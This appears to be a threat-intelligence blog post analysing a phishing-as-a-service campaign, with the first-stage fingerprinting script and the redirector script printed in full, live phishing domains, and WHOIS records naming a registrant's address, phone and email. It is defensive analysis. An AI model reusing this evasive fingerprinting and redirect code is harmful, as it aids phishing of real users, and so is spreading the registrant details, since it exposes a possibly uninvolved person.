data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/27445051-11f4-4c16-8399-2000fc0ecbd8_1280x1000.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1000,&quot;width&quot;:1280,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:1834386,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/180796549?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F27445051-11f4-4c16-8399-2000fc0ecbd8_1280x1000.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!f_ek!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F27445051-11f4-4c16-8399-2000fc0ecbd8_1280x1000.png 424w, https://substackcdn.com/image/fetch/$s_!f_ek!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F27445051-11f4-4c16-8399-2000fc0ecbd8_1280x1000.png 848w, https://substackcdn.com/image/fetch/$s_!f_ek!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F27445051-11f4-4c16-8399-2000fc0ecbd8_1280x1000.png 1272w, https://substackcdn.com/image/fetch/$s_!f_ek!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F27445051-11f4-4c16-8399-2000fc0ecbd8_1280x1000.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>On the subdomain page (<code>ssologon.eduhealthconnect.com</code>), hidden behind the friendly front, is the first phishing page. This page is built to evade detection, and fingerprint your browser.</p><p>Behind that legitimate&#8209;looking front, the ssologon subdomain hosts the attacker&#8217;s first-stage phishing page. (<code>ssologon.eduhealthconnect.com)</code></p><p>This hidden page is designed to evade automated detection and quietly fingerprint the victim&#8217;s browser before handing them off to the next step in the attack.</p><div><hr></div><h2>Phishing Page #1 Analysis</h2><div class="pullquote"><p><code>URL: https://ssologon.eduhealthconnect.com/<br>?#tracking_id=[ENCODED TRACKING ID]</code></p></div><h3>Capture the Page Code (cURL)</h3><p>We can get a safe snapshot of the page code using the curl tool. CURL is a command line tool that lets you fetch data from websites or servers from the terminal. </p><p>This will just download the HTML, JSON, or other content from the server. It won&#8217;t run JavaScript, Python, or any other scripts that the server might send.</p><blockquote><p>&#128161; When using Curl to query a phishing website, use a VPN to hide your true IP. Always verify that the VPN is active and routing all traffic before running any commands.</p><p>You can check if your VPN is active and see which IP your terminal is using with this command: <code>curl https://ifconfig.me</code></p><p>This will return the public IP address seen by websites. If the VPN is working correctly, it should show the VPN&#8217;s IP, not your real one.</p><p>You can also use an online Curl tool like <code>https://reqbin.com/curl </code>to make the requests from their IP.</p></blockquote><p>This is useful to see what the first load of the site provides, before any scripts are run, but may miss out on content, if it&#8217;s loaded via JavaScript actions. </p><p>In our example, the form is submitted via Javascript which causes a redirect, so we won&#8217;t see that redirected content, but we can see that it takes this action.</p><p><strong>The curl command:</strong></p><pre><code>curl -v --max-redirs 0 &#8220;https://ssologon.eduhealthconnect.com/?#tracking_id=[ENCODED TRACKING ID]&#8221;</code></pre><blockquote><p>&#128161;When you use <code>-v</code>, cURL shows detailed information about the request and response, including headers and any data sent. This helps when examining suspicious pages by revealing redirect targets, cookies, and server responses without actually executing anything.</p><p>When you use <code>--max-redirs &lt;number&gt;</code>, curl limits how many redirects it will follow and stops the chain once the limit is reached. This helps safely inspect suspicious pages by showing redirect targets without blindly following them.</p></blockquote><p>This returns the initial load of the phishing page content. It&#8217;s heavily obfuscated, so don&#8217;t worry if it doesn&#8217;t make sense, we&#8217;ll go over it&#8217;s functionality below.</p><pre><code><code>&lt;!DOCTYPE html&gt;
&lt;html lang=&#8221;en&#8221;&gt;

&lt;head&gt;
    &lt;meta charset=&#8221;utf-8&#8221;&gt;
    &lt;meta http-equiv=&#8221;X-UA-Compatible&#8221; content=&#8221;IE=Edge&#8221;&gt;
    &lt;meta name=&#8221;viewport&#8221; content=&#8221;width=device-width, initial-scale=1&#8221;&gt;
&lt;/head&gt;

&lt;body&gt;
    &lt;script&gt;

(function (q, u, r, g, t, v, w, x) {
  var n = {}, l = {mode: &#8220;php&#8221;, errors: n};
  try {
    function c(b, a) {
      try {
        l[b] = a();
      } catch (f) {
        n[b] = f.name;
      }
    }
    function d(b, a) {
      c(b, function () {
        function f(m) {
          try {
            var h = a[m];
            switch (typeof h) {
              case &#8220;object&#8221;:
                null !== h &amp;&amp; (h = h.toString());
                break;
              case &#8220;function&#8221;:
                h = u.prototype.toString.call(h);
            }
            e[m] = h;
          } catch (y) {
            n[b + &#8220;.&#8221; + m] = y.name;
          }
        }
        var e = {}, k;
        for (k in a) f(k);
        try {
          var p = q.getOwnPropertyNames(a);
          for (k = 0; k &lt; p.length; ++k) f(p[k]);
          e[&#8221;!!&#8221;] = p;
        } catch (m) {}
        return e;
      });
    }
    d(&#8221;console&#8221;, r);
    d(&#8221;document&#8221;, g);
    (function (b, a) {
      c(b, function () {
        var f = {};
        a = a.attributes;
        for (var e in a) e = a[e], f[e.nodeName] = e.nodeValue;
        return f;
      });
    }(&#8221;documentElement&#8221;, g.documentElement));
    d(&#8221;location&#8221;, t);
    d(&#8221;navigator&#8221;, v);
    d(&#8221;window&#8221;, x);
    d(&#8221;screen&#8221;, w);
    c(&#8221;timezoneOffset&#8221;, function () {
      return (new Date).getTimezoneOffset();
    });
    c(&#8221;closure&#8221;, function () {
      return function () {}.toString();
    });
    l.frame = true;
    c(&#8221;frame&#8221;, function () {
      l.frame = self !== top;
    });
    c(&#8221;touchEvent&#8221;, function () {
      return q.prototype.toString.call(g.createEvent(&#8221;TouchEvent&#8221;));
    });
    c(&#8221;tostring&#8221;, function () {
      function b() {}
      var a = 0;
      b.toString = function () {
        ++a;
        return &#8220;&#8221;;
      };
      r.log(b);
      return a;
    });
    c(&#8221;webgl&#8221;, function () {
      var b = g.createElement(&#8221;canvas&#8221;).getContext(&#8221;webgl&#8221;), a = b.getExtension(&#8221;WEBGL_debug_renderer_info&#8221;);
      return {vendor: b.getParameter(a.UNMASKED_VENDOR_WEBGL), renderer: b.getParameter(a.UNMASKED_RENDERER_WEBGL)};
    });
    function z(b, a, f) {
      var e = b.prototype[a];
      b.prototype[a] = function () {
        l.proto = true;
      };
      f();
      b.prototype[a] = e;
    }
    try {
      z(Array, &#8220;includes&#8221;, function () {
        return g.createElement(&#8221;video&#8221;).canPlayType(&#8221;video/mp4&#8221;);
      });
    } catch (b) {}
  } catch (c) {}
  (function () {
    var c = g.createElement(&#8221;form&#8221;), d = g.createElement(&#8221;input&#8221;);
    c.method = &#8220;POST&#8221;;
    c.action = t.href;
    d.type = &#8220;hidden&#8221;;
    d.name = &#8220;data&#8221;;
    d.value = JSON.stringify(l);
    c.appendChild(d);
    g.body.appendChild(c);
    c.submit();
  }());
}(Object, Function, console, document, location, navigator, screen, window));

    &lt;/script&gt;
&lt;/body&gt;

&lt;/html&gt;</code></code></pre><div><hr></div><p>Taking a look at our cURL output, we can see that the phishing page takes the following steps when loaded.</p><h4>1. Collect Basic Browser and System Data</h4><p>The script begins by gathering a large amount of standard information about the user&#8217;s computing environment and browser window. </p><p>It records properties from the <code>window</code>, <code>navigator</code> (browser/OS details), <code>screen</code> (resolution/size), and the <code>document</code> (page structure). This creates a detailed profile of the technical setup being used to view the page.</p><div><hr></div><h4>2. Capture the Full URL and Unique Identifiers</h4><p>Next, the code specifically captures the entire location object, which includes the complete URL and any hash fragments like <code>#tracking_id=xxx</code>. </p><p>It also records unique, hard-to-spoof identifiers such as the user&#8217;s <strong>timezone offset</strong> and details about the graphics card (WebGl vendor and renderer). This data allows the server to uniquely identify the user across sessions, even without traditional cookies.</p><div><hr></div><h4>3. Package the Information as JSON</h4><p>After collecting all the various data points, the script combines them into one single object. This entire object is then converted into a single, massive JSON text string. </p><p>This packaging process makes it easy to transmit the complex, structured data across the internet in one go.</p><div><hr></div><h4>4. Create and Prepare a Hidden Submission Form</h4><p>The script programmatically creates an invisible HTML form and a hidden input field within the webpage. </p><p>The form&#8217;s submission method is set to POST, and its destination is set to the current page&#8217;s full URL. The JSON string created in the previous step is placed into the hidden input field named <code>data</code>.</p><div><hr></div><h4>5. Immediately Send the Data to the Server</h4><p>Finally, the code appends the hidden form to the page&#8217;s body and immediately executes the form&#8217;s submit command. </p><p>This action instantly sends all the collected browser fingerprinting data back to the server. The entire process of collection and submission happens silently and immediately when the script executes.</p><div><hr></div><h3>Following the Javascript Redirects</h3><p>Next, we need to figure out where the form is submitted. </p><p>Since curl can&#8217;t execute the javascript that submits the form, we&#8217;ll need a browser. There are many options for this, but the simplest and fastest is to use a web-based headless browser.</p><p>This will hide our IP from the attacker, and prevent any scripts from running on our machine. To find out where the script went after the form submission, we can use a tool like <a href="https://www.browserling.com/">Browserling</a>.</p><p>Watching the browser load the Javascript, which submits the form, we can see that it goes through several redirects:</p><h4><strong>Page 1:</strong> Landing page</h4><p>We start here in the Headless Browser:</p><pre><code><code>https://ssologon.eduhealthconnect.com/?#tracking_id=xxx</code></code></pre><p>This page decodes the tracking ID, fingerprints the browser, submits the fingerprint data and tracking information to the server, and then submits the data via a form, redirecting the user to the next step in the process.</p><h2>Page 2: Redirector Analysis</h2><p>This page is an intermediate step that acts as a server-side redirector and configuration gate. The server, having received and validated the browser fingerprint from Page 1, responds with the content for this URL:</p><pre><code>ssologon.eduhealthconnect.com/.auth/?tracking_id=[DECODED TRACKING ID]</code></pre><p><strong>We use cURL to find out the contents:</strong></p><pre><code>curl -v --max-redirs 0 &#8220;ssologon.eduhealthconnect.com/.auth/?tracking_id=xxx&#8221;</code></pre><p><strong>The code reveals the redirector&#8217;s logic:</strong></p><pre><code>&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;
    &lt;title&gt;Loading...&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;script&gt;
let plain = &#8220;yes&#8221;;
let land = &#8220;https://logonacc.ssologon.clctz.org/a3f9c4b1d08e5f72c6ab93d04ef1280b/?OLMDT=CDfkI&amp;fomo=&#8221;;
let o = document.location.href;
let e = o.split(&#8221;=&#8221;)[1];
let m_e = &#8220;&#8221;;
try {
  m_e = atob(e);
} catch {
  m_e = e;
}
if (plain == &#8220;no&#8221;) {
  document.location.href = land + btoa(m_e);
} else {
  document.location.href = land + m_e;
}
    &lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre><p>The key information is contained in the <code>land</code> variable:</p><p>The string <code>a3f9c4b1d08e5f72c6ab93d04ef1280b</code> is a 40-character hexadecimal string (the length of a SHA-1 hash) that is a server-generated unique identifier that is dynamically inserted into the code when this page loads.</p><p>Based on the architecture of Phishing-as-a-Service (PhaaS) operations, this value most likely represents either a Static Campaign ID (a fixed key for a specific phishing template or configuration) or an Affiliate ID (a fixed key for a specific attacker&#8217;s account), though it could also be a Dynamic Session ID or a pointer to a specific Template/Resource ID on the final server.</p><p>The script&#8217;s primary action is to take the decoded tracking ID (<code>m_e</code>), append it to the URL containing this key, and execute an immediate <strong>client-side redirect</strong> to the final phishing domain.</p><div><hr></div><h2><strong>Page 3:</strong> PaaS Platform Analysis</h2><p>This page is where it gets really interesting, and the level of sophistication jumps up exponentially, indicating that we may have stumbled upon a commercial grade Phishing-as-a-Service system.</p><pre><code><code>https://logonacc.ssologon.clctz.org/a3f9c4b1d08e5f72c6ab93d04ef1280b/?OLMDT=CDfkI&amp;fomo=[DECODED TRACKING ID]</code></code></pre><p><strong>We use cURL to find out the contents:</strong></p><pre><code><code>curl -v --max-redirs 0 &#8220;https://logonacc.ssologon.clctz.org/a3f9c4b1d08e5f72c6ab93d04ef1280b/?OLMDT=CDfkI&amp;fomo=xxx&#8221;</code></code></pre><p>Where the first page showed only light obfuscation, this stage loads a huge, highly engineered script that runs advanced fingerprinting, invasive browser checks, and layered obfuscation and evasion, making it difficult to understand at a glance.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!uET0!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa81d4700-3b56-45f7-8e6c-4effe09b5114_1608x1424.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!uET0!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa81d4700-3b56-45f7-8e6c-4effe09b5114_1608x1424.png 424w, https://substackcdn.com/image/fetch/$s_!uET0!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa81d4700-3b56-45f7-8e6c-4effe09b5114_1608x1424.png 848w, https://substackcdn.com/image/fetch/$s_!uET0!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa81d4700-3b56-45f7-8e6c-4effe09b5114_1608x1424.png 1272w, https://substackcdn.com/image/fetch/$s_!uET0!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa81d4700-3b56-45f7-8e6c-4effe09b5114_1608x1424.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!uET0!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa81d4700-3b56-45f7-8e6c-4effe09b5114_1608x1424.png" width="1456" height="1289" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a81d4700-3b56-45f7-8e6c-4effe09b5114_1608x1424.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1289,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:502210,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/180796549?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa81d4700-3b56-45f7-8e6c-4effe09b5114_1608x1424.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!uET0!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa81d4700-3b56-45f7-8e6c-4effe09b5114_1608x1424.png 424w, https://substackcdn.com/image/fetch/$s_!uET0!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa81d4700-3b56-45f7-8e6c-4effe09b5114_1608x1424.png 848w, https://substackcdn.com/image/fetch/$s_!uET0!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa81d4700-3b56-45f7-8e6c-4effe09b5114_1608x1424.png 1272w, https://substackcdn.com/image/fetch/$s_!uET0!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa81d4700-3b56-45f7-8e6c-4effe09b5114_1608x1424.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>The page code is more than 7,700 lines of HTML and JavaScript, with significant portions hidden inside WebAssembly compiled from Rust. </p><p>The structure, scale, and concealment techniques all indicate that this code is designed to gather extensive information about the visitor while making manual analysis as difficult as possible.</p><div><hr></div><h3><strong>Defense Mechanisms</strong></h3><p>The code implements a multilayered defensive architecture. Each layer must be bypassed sequentially, like peeling an onion, before an analyst can reach the true fingerprinting logic.</p><p>When a victim clicks the phishing link, the JavaScript and hidden WebAssembly module begin collecting an alarmingly large and detailed dataset. </p><p>This dataset includes over seventy browser, device, and permission properties, along with WebGL/GPU identifiers and bot detection signals.</p><p>The attacker&#8217;s server evaluates the environment and decides whether the visitor is a genuine target or an analyst.</p><div><hr></div><h4>Layer 1: The Scrambled Dictionary (String Obfuscation)</h4><p>Before any logic can be observed, all human&#8209;readable JavaScript identifiers are stripped from the code. Examples include:</p><ul><li><p><code>plugins</code></p></li><li><p><code>deviceMemory</code></p></li><li><p><code>hardwareConcurrency</code></p></li><li><p><code>screenX</code>, <code>screenY</code></p></li><li><p><code>userAgent</code></p></li><li><p><code>permissions</code></p></li><li><p><code>createElement</code></p></li><li><p><code>navigator</code></p></li><li><p>all fields involved in fingerprinting</p></li></ul><p>Instead, the script uses scrambled calls like:</p><pre><code><code>a0P(597, 233)</code></code></pre><p>These strings are packed into an encrypted, shuffled dictionary that is:</p><ul><li><p>XOR&#8209;encrypted with a constant key</p></li><li><p>Randomly reshuffled on each run</p></li><li><p>Accessed only through numeric indices</p></li><li><p>Opaque to direct reading or searching</p></li><li><p>Unrecoverable through simple string inspection</p></li></ul><p>To defeat this, we have to isolate the self&#8209;executing decode function and run it independently, which allowed us to recover:</p><ul><li><p>The full decrypted dictionary</p></li><li><p>All original JavaScript identifiers</p></li><li><p>All WASM glue symbols</p></li></ul><p>With the dictionary restored, we use a script to replace every lookup (<code>a0P(...)</code>) with its real string, returning the source to human&#8209;readable form and exposing the fingerprinting logic.</p><div><hr></div><h3><strong>Layer 2: The Tripwires (Anti-Debugging Traps)</strong></h3><p>With the code readable again, the second layer revealed a set of anti&#8209;analysis traps engineered to break devtools or force an error that, when detected, redirected the user to the BBC (<code>BBC.com</code>) homepage.</p><p><strong>Key Tripwires</strong></p><ul><li><p>A recursive devtools&#8209;detection routine that triggers an infinite self&#8209;call and freezes both the tab and debugger</p></li><li><p>Script integrity checks to detect breakpoints or patched code</p></li><li><p>Timing&#8209;based anti&#8209;debug traps</p></li><li><p>Event&#8209;loop abuse used to stall or desynchronize debugging</p></li><li><p>Redirects to the BBC homepage if tampering is detected</p></li></ul><p>These mechanisms block any attempt to step into the fingerprinting logic.</p><p>Once the dictionary was restored in the previous step, we can see the names of every anti&#8209;debug routine. </p><p>We removed the recursive infinite&#8209;loop trap, the source&#8209;integrity checks, the timing&#8209;based devtools traps, and the redirect logic.</p><p>This stabilized execution, allowing controlled, step&#8209;by&#8209;step debugging of the WASM interface and the fingerprinting logic.</p><div><hr></div><h3><strong>Layer 3: The Black Box (WebAssembly Obfuscation)</strong></h3><p>The deepest layer was a Rust&#8209;compiled WebAssembly module, concealed within a dense collection of Base64 payloads. </p><p>These were split across:</p><ul><li><p>173 separate Base64 strings</p></li><li><p>131,884 characters combined</p></li><li><p>98,911-byte decoded WASM (~96.6 KB)</p></li><li><p>1,001 unique decoded strings extracted</p></li></ul><h4><strong>Rust Project Structure</strong></h4><p>We reconstructed the Rust project layout by analyzing the decoded WASM strings and the calls to URLs and functions, which revealed how the code was organized.</p><pre><code><code>crates/
&#9500;&#9472;&#9472; bg/src/
&#9474;   &#9500;&#9472;&#9472; core/
&#9474;   &#9474;   &#9500;&#9472;&#9472; screen.rs
&#9474;   &#9474;   &#9500;&#9472;&#9472; navigator.rs
&#9474;   &#9474;   &#9500;&#9472;&#9472; automation.rs
&#9474;   &#9474;   &#9492;&#9472;&#9472; gpu.rs
&#9474;   &#9500;&#9472;&#9472; models.rs
&#9474;   &#9492;&#9472;&#9472; utils.rs
&#9492;&#9472;&#9472; ciphers/src/
    &#9492;&#9472;&#9472; ciphers.rs</code></code></pre><h4><strong>Compiler Metadata</strong></h4><p>The WebAssembly module was compiled with a specific version of the Rust compiler, identified by the commit <code>f8297e351a40c1439a467bbbb6879088047f50b3</code>. This shows exactly which Rust build was used to produce the WASM binary.</p><p>The module also relied on a few Rust libraries (called crates) to interact with the browser and handle asynchronous tasks:</p><ul><li><p><code>wasm-bindgen 0.2.100</code>: allows Rust code to communicate with JavaScript and manipulate the DOM</p></li><li><p><code>wasm-bindgen-futures 0.4.50</code>: provides support for asynchronous operations in the browser, such as JavaScript promises</p></li><li><p><code>web-sys 0.3.77</code>: gives Rust access to standard web APIs, including <code>window</code>, <code>navigator</code>, and <code>document</code></p></li><li><p><code>futures-util 0.3.31</code>: a helper library for working with asynchronous tasks in Rust</p></li></ul><p>This metadata shows how the WASM module was built and what runtime features it could access in the browser.</p><div><hr></div><h4><strong>What the WASM Does</strong></h4><p>The WebAssembly module is the core fingerprinting engine. Its internal code is not visible, but its interface shows what data it collects from the browser and device.</p><div><hr></div><h4><strong>Fingerprint Dataset</strong></h4><p><strong>Screen Data:</strong></p><ul><li><p>width, height</p></li><li><p>availWidth, availHeight</p></li><li><p>colorDepth, pixelDepth</p></li><li><p>orientation</p></li><li><p>screenX, screenY</p></li></ul><p><strong>Window Data</strong></p><ul><li><p>innerWidth, innerHeight</p></li><li><p>outerWidth, outerHeight</p></li><li><p>pageXOffset, pageYOffset</p></li><li><p>devicePixelRatio</p></li></ul><p><strong>Navigator Data</strong></p><ul><li><p>userAgent</p></li><li><p>platform</p></li><li><p>language</p></li><li><p>languages</p></li><li><p>plugins</p></li><li><p>mimeTypes</p></li><li><p>deviceMemory</p></li><li><p>hardwareConcurrency</p></li><li><p>maxTouchPoints</p></li><li><p>permissions</p></li></ul><p><strong>WebGL GPU Data</strong></p><ul><li><p>vendor</p></li><li><p>renderer</p></li><li><p>WebGL version</p></li></ul><p><strong>Automation / VM Detection</strong></p><ul><li><p>TouchEvent presence</p></li><li><p><code>ontouchstart</code></p></li><li><p>automation frameworks</p></li><li><p>VM artifacts</p></li></ul><p><strong>Permissions Checked</strong></p><ul><li><p>accelerometer</p></li><li><p>ambient-light-sensor</p></li><li><p>background-fetch</p></li><li><p>background-sync</p></li><li><p>bluetooth</p></li><li><p>camera</p></li><li><p>clipboard</p></li><li><p>device-info</p></li><li><p>display-capture</p></li><li><p>gamepad</p></li><li><p>geolocation</p></li><li><p>gyroscope</p></li><li><p>magnetometer</p></li><li><p>microphone</p></li><li><p>midi</p></li><li><p>nfc</p></li><li><p>notifications</p></li><li><p>persistent-storage</p></li><li><p>push</p></li><li><p>screen-wake-lock</p></li><li><p>speaker</p></li><li><p>speaker-selection</p></li></ul><p><strong>Screen Orientation Values</strong></p><ul><li><p>portrait-primary</p></li><li><p>portrait-secondary</p></li><li><p>landscape-primary</p></li><li><p>landscape-secondary</p></li></ul><div><hr></div><h3><strong>Exfiltration Logic</strong></h3><p>After all fingerprint fields are collected and combined into a unique visitor ID, the WASM module prepares the data for exfiltration. </p><p>It creates a hidden HTML form through its DOM bindings, sets the form&#8217;s method to POST, and silently submits it, sending the full fingerprint to the attacker&#8217;s server without any visible activity.</p><p>The server then determines the outcome:</p><ul><li><p>If the device appears to belong to a real user, the victim is forwarded to the phishing login page.</p></li><li><p>If analysis tools, automation, or other anomalies are detected, the visitor is redirected to the BBC homepage to avoid raising suspicion.</p></li></ul><p>Further testing could have included supplying a real victim ID and emulating a clean environment to reach the phishing page. However, doing so would have caused the attacker&#8217;s system to record that victim as an active clicker, potentially escalating the attack against them. To avoid that, testing stops here.</p><div><hr></div><h1>Attribution Assessment</h1><p>Now that we&#8217;ve uncovered the technical aspects of this campaign, we need to look at who is running it and why.</p><p>The change in the complexity of the code and the difference in domain registration details across the three pages suggest a classic division of labor consistent with the Phishing-as-a-Service (PaaS) business model:</p><ul><li><p><strong>Affiliate (The Customer):</strong> The initial, less complex pages were likely managed by the Affiliate. Their job is to create the initial lure, purchase the first domain, and send the spam/phishing emails to drive traffic. They pay the platform a fee and handle the initial traffic generation.</p></li><li><p><strong>PaaS Provider (The Infrastructure):</strong> The third page, containing the highly protected WebAssembly (WASM) code and sophisticated validation logic, leads directly to the PaaS Provider&#8217;s infrastructure. The provider handles the technical heavy lifting: hosting the secure, anti-analysis gatekeeper, running the victim validation checks, and delivering the final phishing payload. They protect their platform fiercely, which is why the code was so heavily obfuscated.</p></li></ul><p>This means we are not just looking for the scammer; we are now investigating the highly technical organization that built the defense and validation system.</p><div><hr></div><h3><strong>Tracking the Infrastructure Behind the Campaign</strong></h3><p>In this phase, we use tools such as WHOIS and DIG to investigate domain registration and hosting records. The goal is to identify evidence that could reveal who is behind the attack.</p><p>We focus on operational security mistakes, looking for details such as email addresses, registration names, or physical locations that could link multiple components of the criminal network together.</p><div><hr></div><h2>Domain #1 (PaaS Affiliate)</h2><pre><code>eduhealthconnect.com
ssologon.eduhealthconnect.com</code></pre><h3><strong>Whois - Primary Domain</strong></h3><p>Our first step is to execute a WHOIS search on the main domain to expose the identity of the person or entity responsible for the registration.</p><pre><code>whois -h whois.crazydomains.com eduhealthconnect.com

Domain Name: EDUHEALTHCONNECT.COM
Registry Domain ID: 2670481451_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.syrahost.com
Registrar URL: http://www.crazydomains.com
Updated Date: 2025-03-30T00:00:00Z
Creation Date: 2022-01-24T00:00:00Z
Registrar Registration Expiration Date: 2026-01-24T00:00:00Z
Registrar: Dreamscape Networks International Pte Ltd
Registrar IANA ID: 1291
Registrar Abuse Contact Email: abuse@dreamscapenetworks.com
Registrar Abuse Contact Phone: +65.69147880
Domain Status: ok https://icann.org/epp#ok
Registry Registrant ID: R-028391584-SN
Registrant Name: Santosh Kumar
Registrant Organization: 
Registrant Street: LOWERWARDMAN COMPOUND LALPUE
Registrant City: RANCHI
Registrant State/Province: JHARKHAND
Registrant Postal Code: 834001
Registrant Country: IN
Registrant Phone: +91.9973380119
Registrant Phone Ext: 
Registrant Email: CEEONLINESMS@GMAIL.COM
Name Server: NS1.HOSTING4WEBS.COM
Name Server: NS2.HOSTING4WEBS.COM
